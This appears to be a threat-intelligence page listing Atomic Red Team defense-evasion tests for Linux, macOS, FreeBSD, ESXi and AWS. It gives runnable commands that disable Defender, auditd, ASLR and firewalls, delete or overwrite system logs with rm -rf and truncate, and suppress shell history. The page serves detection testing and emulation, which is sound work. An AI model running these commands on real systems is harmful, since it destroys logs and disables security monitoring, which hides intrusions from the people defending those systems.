disable swapping of device paging that impaire the compromised host to swap data if the RAM is full. Awfulshred wiper used this technique as an additional payload to the compromised host and to make sure that there will be no recoverable data due to swap feature of FreeBSD/linux.
swapon -a 
sleep 2
swapoff -a
sync
T1685 sh elevated linux, macos Tamper with Defender ATP on Linux/MacOS
Disable or Modify Tools
With root privileges, an adversary can disable real time protection. Note, this test assumes Defender is not in passive mode and real-time protection is enabled. The use of a managed.json on Linux or Defender .plist on MacOS will prevent these changes. Tamper protection will also prevent this (available on MacOS, but not Linux at the time of writing). Installation of MDATP is a prerequisite. Installation steps vary across MacOS and Linux distros. See Microsoft public documentation for instructions: https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/mac-install-manually?view=o365-worldwide https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/linux-install-manually?view=o365-worldwide
sudo mdatp config real-time-protection --value disabled
T1685 powershell elevated linux ESXi - Disable Account Lockout Policy via PowerCLI
Disable or Modify Tools
An adversary may disable account lockout policy within ESXi to have the ability to prevent defensive actions from being enforced in the future or to prevent future alerting.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-AdvancedSetting -Entity #{vm_host} -Name 'Security.AccountLockFailures' | Set-AdvancedSetting -Value '0' -Confirm:$false
Disconnect-VIServer -Confirm:$false
T1685 bash elevated linux Disable ASLR Via sysctl parameters - Linux
Disable or Modify Tools
Detects Execution of the sysctl command to set kernel.randomize_va_space=0 which disables Address Space Layout Randomization (ASLR) in Linux.
sysctl -w kernel.randomize_va_space=0
T1685 bash elevated linux Auditing Configuration Changes on Linux Host
Disable or Modify Tools
Emulates modification of auditd configuration files
sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name}
if [ -f "/etc/#{auditd_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_1' /etc/#{auditd_config_file_name}
else sed -i '$ a #art_test_1562_006_1' /etc/audit/#{auditd_config_file_name}
fi 
sed -i '$ a #art_test_1562_006_1' /etc/#{libaudit_config_file_name}
T1685 sh elevated linux Auditing Configuration Changes on FreeBSD Host
Disable or Modify Tools
Emulates modification of auditd configuration files
echo '#art_test_1562_006_1' >> /etc/security/#{auditd_config_file_name}
T1685 bash elevated linux Logging Configuration Changes on Linux Host
Disable or Modify Tools
Emulates modification of syslog configuration.
if [ -f "/etc/#{syslog_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_2' /etc/#{syslog_config_file_name}
fi
if [ -f "/etc/#{rsyslog_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_2' /etc/#{rsyslog_config_file_name}
fi
if [ -f "/etc/syslog-ng/#{syslog_ng_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_2' /etc/syslog-ng/#{syslog_ng_config_file_name}
fi
T1685 sh elevated linux Logging Configuration Changes on FreeBSD Host
Disable or Modify Tools
Emulates modification of syslog configuration.
if [ -f "/etc/#{syslog_config_file_name}" ];
then echo '#art_test_1562_006_2' >> /etc/#{syslog_config_file_name}
fi
T1685.002 sh linux, macos, iaas:aws AWS - Disable CloudTrail Logging Through Event Selectors using Stratus
Disable or Modify Cloud Log
Update event selectors in AWS CloudTrail to disable the logging of certain management events to evade defense. This Atomic test leverages a tool called Stratus-Red-Team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-event-selectors/
export AWS_REGION=#{aws_region} 
cd #{stratus_path}
echo "starting warmup"
./stratus warmup aws.defense-evasion.cloudtrail-event-selectors
echo "starting detonate"
./stratus detonate aws.defense-evasion.cloudtrail-event-selectors --force
T1685.002 sh linux, macos, iaas:aws AWS - CloudTrail Logs Impairment Through S3 Lifecycle Rule using Stratus
Disable or Modify Cloud Log
This Atomic test will use the Stratus Red Team will first setup a CloudTrail logging into an S3 bucket and will then make an API call to update the lifecycle rule on that S3 bucket with an expiration date of 1 day. This will essentially delete all the logs after one day. Adversaries often do this actiivity to evade detection. Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-lifecycle-rule/
export AWS_REGION=#{aws_region} 
cd #{stratus_path}
echo "starting warmup"
./stratus warmup aws.defense-evasion.cloudtrail-lifecycle-rule
echo "starting detonate"
./stratus detonate aws.defense-evasion.cloudtrail-lifecycle-rule --force
T1685.002 sh linux, macos, iaas:aws AWS - Remove VPC Flow Logs using Stratus
Disable or Modify Cloud Log
This Atomic will attempt to remove AWS VPC Flow Logs configuration. Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.vpc-remove-flow-logs/
export AWS_REGION=#{aws_region} 
cd #{stratus_path}
echo "starting warmup"
./stratus warmup aws.defense-evasion.vpc-remove-flow-logs
echo "starting detonate"
./stratus detonate aws.defense-evasion.vpc-remove-flow-logs --force
T1685.004 sh elevated linux Delete all auditd rules using auditctl
Disable or Modify Linux Audit System Log
Using 'auditctl -D' deletes all existing audit rules, resulting in the loss of previously configured monitoring settings and the audit trail. This action reduces visibility into system activities, potentially leading to compliance concerns and hampering security monitoring efforts. Additionally, it poses a risk of covering unauthorized activities by erasing evidence from audit logs.
auditctl -D
T1685.004 sh elevated linux Disable auditd using auditctl
Disable or Modify Linux Audit System Log
The command auditctl -e 0 disables the audit system. By setting the parameter to 0, auditing is deactivated, halting the monitoring and recording of security-related events. This action stops the generation of audit logs, ceasing the collection of data regarding system activities. Disabling auditing may be done for various reasons, such as troubleshooting, performance optimization, or temporarily suspending auditing requirements, but it reduces visibility into system events and can impact security monitoring and compliance efforts.
auditctl -e 0
T1685.006 sh elevated macos, linux rm -rf
Clear Linux or Mac System Logs
Delete system and audit logs
sudo rm -rf #{syslog_path}
if [ -d /var/audit ] ; then sudo rm -rf #{macos_audit_path} ; fi
T1685.006 sh elevated linux rm -rf
Clear Linux or Mac System Logs
Delete messages and security logs
rm -rf /var/log/messages
rm -rf /var/log/security
T1685.006 sh elevated linux Truncate system log files via truncate utility (freebsd)
Clear Linux or Mac System Logs
This test truncates the system log files using the truncate utility with (-s 0 or --size=0) parameter which sets file size to zero, thus emptying the file content
truncate -s 0 /var/log/messages #size parameter shorthand
truncate --size=0 /var/log/security #size parameter 
T1685.006 sh elevated linux Delete log files via cat utility by appending /dev/null or /dev/zero (freebsd)
Clear Linux or Mac System Logs
The first sub-test truncates the log file to zero bytes via /dev/null and the second sub-test fills the log file with null bytes(zeroes) via /dev/zero, using cat utility
cat /dev/null > /var/log/messages #truncating the file to zero bytes
cat /dev/zero > /var/log/messages #log file filled with null bytes(zeros)
T1685.006 sh elevated linux Overwrite FreeBSD system log via echo utility
Clear Linux or Mac System Logs
This test overwrites the contents of system log file with an empty string using echo utility
echo '' > /var/log/messages
T1685.006 sh elevated linux Delete system log files via unlink utility (freebsd)
Clear Linux or Mac System Logs
This test deletes the messages log file using unlink utility
unlink /var/log/messages
T1685.006 sh elevated linux Delete system journal logs via rm and journalctl utilities
Clear Linux or Mac System Logs
The first sub-test deletes the journal files using rm utility in the "/var/log/journal/" directory and the second sub-test clears the journal by modifiying time period of logs that should be retained to zero.
sudo rm #{journal_folder}/* #physically deletes the journal files, and not just their content
sudo journalctl --vacuum-time=0 #clears the journal while still keeping the journal files in place
T1685.006 bash elevated linux Overwrite Linux Mail Spool
Clear Linux or Mac System Logs
This test overwrites the Linux mail spool of a specified user. This technique was used by threat actor Rocke during the exploitation of Linux web servers.
echo 0> /var/spool/mail/#{username}
T1685.006 bash elevated linux Overwrite Linux Log
Clear Linux or Mac System Logs
This test overwrites the specified log. This technique was used by threat actor Rocke during the exploitation of Linux web servers.
echo 0> #{log_path}
T1686 sh elevated linux Stop/Start UFW firewall
Disable or Modify System Firewall
Stop the Uncomplicated Firewall (UFW) if installed.
ufw disable
T1686 sh elevated linux Stop/Start Packet Filter
Disable or Modify System Firewall
Stop the Packet Filter if installed.
service pf stop
service pf disable
T1686 sh elevated linux Stop/Start UFW firewall systemctl
Disable or Modify System Firewall
Stop the Uncomplicated Firewall (UFW) if installed, using systemctl.
systemctl stop ufw
T1686 sh elevated linux Turn off UFW logging
Disable or Modify System Firewall
Turn off the Uncomplicated Firewall (UFW) logging.
ufw logging off
T1686 sh elevated linux Add and delete UFW firewall rules
Disable or Modify System Firewall
Add and delete a rule on the Uncomplicated Firewall (UFW) if installed and enabled.
ufw prepend deny from 1.2.3.4
ufw status numbered
T1686 sh elevated linux Add and delete Packet Filter rules
Disable or Modify System Firewall
Add and delete a rule on the Packet Filter (PF) if installed and enabled.
echo "block in proto tcp from 1.2.3.4 to any" | pfctl -a pf-rules -f -
pfctl -a pf-rules -s rules
T1686 sh elevated linux Edit UFW firewall user.rules file
Disable or Modify System Firewall
Edit the Uncomplicated Firewall (UFW) rules file /etc/ufw/user.rules.
echo "# THIS IS A COMMENT" >> /etc/ufw/user.rules
grep "# THIS IS A COMMENT" /etc/ufw/user.rules
T1686 sh elevated linux Edit UFW firewall ufw.conf file
Disable or Modify System Firewall
Edit the Uncomplicated Firewall (UFW) configuration file /etc/ufw/ufw.conf which controls if the firewall starts on boot and its logging level.
echo "# THIS IS A COMMENT" >> /etc/ufw/ufw.conf
grep "# THIS IS A COMMENT" /etc/ufw/ufw.conf
T1686 sh elevated linux Edit UFW firewall sysctl.conf file
Disable or Modify System Firewall
Edit the Uncomplicated Firewall (UFW) configuration file for setting network variables /etc/ufw/sysctl.conf.
echo "# THIS IS A COMMENT" >> /etc/ufw/sysctl.conf
grep "# THIS IS A COMMENT" /etc/ufw/sysctl.conf
T1686 sh elevated linux Edit UFW firewall main configuration file
Disable or Modify System Firewall
Edit the Uncomplicated Firewall (UFW) main configuration file for setting default policies /etc/default/ufw.
echo "# THIS IS A COMMENT" >> /etc/default/ufw
grep "# THIS IS A COMMENT" /etc/default/ufw
T1686 sh elevated linux Tail the UFW firewall log file
Disable or Modify System Firewall
Print the last 10 lines of the Uncomplicated Firewall (UFW) log file /var/log/ufw.log.
tail /var/log/ufw.log
T1686 sh elevated linux Disable iptables
Disable or Modify System Firewall
Some Linux systems may not activate ufw, but use iptables for firewall rules instead. (ufw works on top of iptables.) Attackers cannot directly disable iptables, as it is not implemented as a service like ufw. But they can flush all iptables rules, which in fact "disable" iptables.
iptables-save > /tmp/iptables.rules
iptables -F
T1686 sh elevated linux Modify/delete iptables firewall rules
Disable or Modify System Firewall
Instead of completely "disabling" iptables, adversaries may choose to delete a certain rule, which, for example, blocks data exfiltration via ftp. By doing so, they may cause less noise to avoid detection.
iptables -D OUTPUT -p tcp --dport 21 -j DROP
T1689 powershell elevated linux ESXi - Change VIB acceptance level to CommunitySupported via PowerCLI
Downgrade Attack
An adversary can change the VIB acceptance level to CommunitySupported to downgrade the acceptance criteria.This can be accomplished via PowerCLI. Afterwards an adversary may proceed to installing malicious VIBs on the host. [Reference](https://www.mandiant.com/resources/blog/esxi-hypervisors-detection-hardening)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
(Get-EsxCli -VMHost #{vm_host} -V2).software.acceptance.set.Invoke(@{level = "CommunitySupported"})
Disconnect-VIServer -Confirm:$false
T1690 sh linux, macos Disable history collection
Prevent Command History Logging
Disables history collection in shells
export HISTCONTROL=ignoreboth
#{evil_command}
T1690 sh linux Disable history collection (freebsd)
Prevent Command History Logging
Disables history collection in shells
export HISTSIZE=0
#{evil_command}
T1690 manual macos, linux Mac HISTCONTROL
Prevent Command History Logging
The HISTCONTROL variable is set to ignore (not write to the history file) command that are a duplicate of something already in the history and commands that start with a space. This atomic sets this variable in the current session and also writes it to the current user's ~/.bash_profile so that it will apply to all future settings as well. https://www.linuxjournal.com/content/using-bash-history-more-efficiently-histcontrol
T1690 bash linux Clear bash history
Prevent Command History Logging
An attacker may clear the bash history cache and the history file as their last act before logging off to remove the record of their command line activities. In this test we use the $HISTFILE variable throughout to 1. confirms the $HISTFILE variable is set 2. echo "" into it 3..5 confirm the file is empty 6 clear the history cache 7. confirm the history cache is empty. This is when the attacker would logoff.
cp $HISTFILE $HISTFILE.OLD
if ((${#HISTFILE[@]})); then echo $HISTFILE; fi
echo "" > $HISTFILE
if [ $(wc -c <$HISTFILE) -gt 1 ]; then echo "$HISTFILE is larger than 1k"; fi
ls -la $HISTFILE 
cat $HISTFILE
history -c 
if [ $(history |wc -l) -eq 1 ]; then echo "History cache cleared"; fi
T1690 bash linux Setting the HISTCONTROL environment variable
Prevent Command History Logging
An attacker may exploit the space before a command (e.g. " ls") or the duplicate command suppression feature in Bash history to prevent their commands from being recorded in the history file or to obscure the order of commands used. In this test we 1. sets $HISTCONTROL to ignoreboth 2. clears the history cache 3. executes ls -la with a space in-front of it 4. confirms that ls -la is not in the history cache 5. sets $HISTCONTROL to erasedups 6. clears the history cache 7..9 executes ls -la $HISTFILE 3 times 10. confirms that their is only one command in history
TEST=$(echo $HISTCONTROL)
if [ "$HISTCONTROL" != "ignoreboth" ]; then export HISTCONTROL="ignoreboth"; fi
history -c 
ls -la $HISTFILE # " ls -la $HISTFILE"
if [ $(history |wc -l) -eq 1 ]; then echo "ls -la is not in history cache"; fi
if [ "$HISTCONTROL" != "erasedups" ]; then export HISTCONTROL="erasedups"; fi
history -c 
ls -la $HISTFILE
ls -la $HISTFILE
ls -la $HISTFILE
if [ $(history |wc -l) -eq 2 ]; then echo "Their is only one entry for ls -la $HISTFILE"; fi
T1690 bash linux Setting the HISTFILESIZE environment variable
Prevent Command History Logging
An Adversary may set the bash history files size environment variable (HISTFILESIZE) to zero to prevent the logging of commands to the history file after they log out of the system. Note: we don't wish to log out, so we are just confirming the value of HISTFILESIZE. In this test we 1. echo HISTFILESIZE 2. set it to zero 3. confirm that HISTFILESIZE is set to zero.
TEST=$(echo $HISTFILESIZE)
echo $HISTFILESIZE
export HISTFILESIZE=0
echo "runnning some commands to populate the history"
whoami
groups
if [ $(echo $HISTFILESIZE) -eq 0 ]; then echo "\$HISTFILESIZE is zero"; else HIST_LENGHT=$(wc -l $HISTFILE); echo "\$HISTFILESIZE is not zero, history lenght is $HIST_LENGHT";  fi
T1690 sh linux Setting the HISTSIZE environment variable
Prevent Command History Logging
An Adversary may set the sh history files size environment variable (HISTSIZE) to zero to prevent the logging of commands to the history file after they log out of the system. Note: we don't wish to log out, so we are just confirming the value of HISTSIZE. In this test we 1. echo HISTSIZE 2. set it to zero 3. confirm that HISTSIZE is set to zero.
echo $HISTSIZE
export HISTSIZE=0
echo "runnning some commands to populate the history"
whoami
groups
if [ $(echo $HISTSIZE) -eq 0 ]; then echo "\$HISTSIZE is zero"; else HIST_LENGTH=$(wc -l $HISTFILE); echo "\$HISTSIZE is not zero, history size is $HIST_LENGTH";  fi
T1690 bash linux Setting the HISTFILE environment variable
Prevent Command History Logging
An Adversary may clear, unset or redirect the history environment variable HISTFILE to prevent logging of commands to the history file after they log out of the system. Note: we don't wish to log out, so we are just confirming the value of HISTFILE. In this test we 1. echo HISTFILE 2. set it to /dev/null 3. confirm that HISTFILE is set to /dev/null.
TEST=$(echo $HISTFILE)
echo $HISTFILE
export HISTFILE="/dev/null"
echo "runnning some commands to populate the history"
whoami
groups
if [ $(echo $HISTFILE) == "/dev/null" ]; then echo "\$HISTFILE is /dev/null"; else HIST_LENGHT=$(wc -l $HISTFILE); echo "\$HISTFILE is not /dev/null, history lenght is $HIST_LENGHT";  fi
T1690 sh linux Setting the HISTFILE environment variable (freebsd)
Prevent Command History Logging
An Adversary may clear, unset or redirect the history environment variable HISTFILE to prevent logging of commands to the history file after they log out of the system. Note: we don't wish to log out, so we are just confirming the value of HISTFILE. In this test we 1. echo HISTFILE 2. set it to /dev/null 3. confirm that HISTFILE is set to /dev/null.
echo $HISTFILE
export HISTFILE="/dev/null"
if [ $(echo $HISTFILE) == "/dev/null" ]; then echo "\$HISTFILE is /dev/null"; fi
T1690 bash linux Setting the HISTIGNORE environment variable
Prevent Command History Logging
An Adversary may take advantage of the HISTIGNORE environment variable either to ignore particular commands or all commands. In this test we 1. set HISTIGNORE to ignore ls, rm and ssh commands 2. clear this history cache 3..4 execute ls commands 5. confirm that the ls commands are not in the history cache 6. unset HISTIGNORE variable 7.. same again, but ignoring ALL commands.
if ((${#HISTIGNORE[@]})); then echo "\$HISTIGNORE = $HISTIGNORE"; else export HISTIGNORE='ls*:rm*:ssh*'; echo "\$HISTIGNORE = $HISTIGNORE"; fi
history -c 
ls -la $HISTFILE
ls -la ~/.bash_logout
if [ $(history |wc -l) -eq 1 ]; then echo "ls commands are not in history"; fi
unset HISTIGNORE
if ((${#HISTIGNORE[@]})); then echo "\$HISTIGNORE = $HISTIGNORE"; else export HISTIGNORE='*'; echo "\$HISTIGNORE = $HISTIGNORE"; fi
history -c 
whoami
groups
if [ $(history |wc -l) -eq 0 ]; then echo "History cache is empty"; fi
Vulnerabilities
CISA KEV catalog
CWE weaknesses
CAPEC attack patterns
Package vulnerabilities
Threat intelligence
Threat actors
Tools & malware
ATT&CK techniques
IOCs
Detection & defense
Sigma rules
YARA rules
Atomic Red Team tests
D3FEND countermeasures
Compliance
NIST 800-53
ISO 27001:2022
SOC 2 TSC
PCI-DSS v4.0
CIS Controls v8.1
About
All capabilities
Live statistics
Data sources
Privacy policy
Terms of service
threatengine.sh  ·  Open-source threat intelligence platform  ·  100+ authoritative sources  ·  Every fact traces to its origin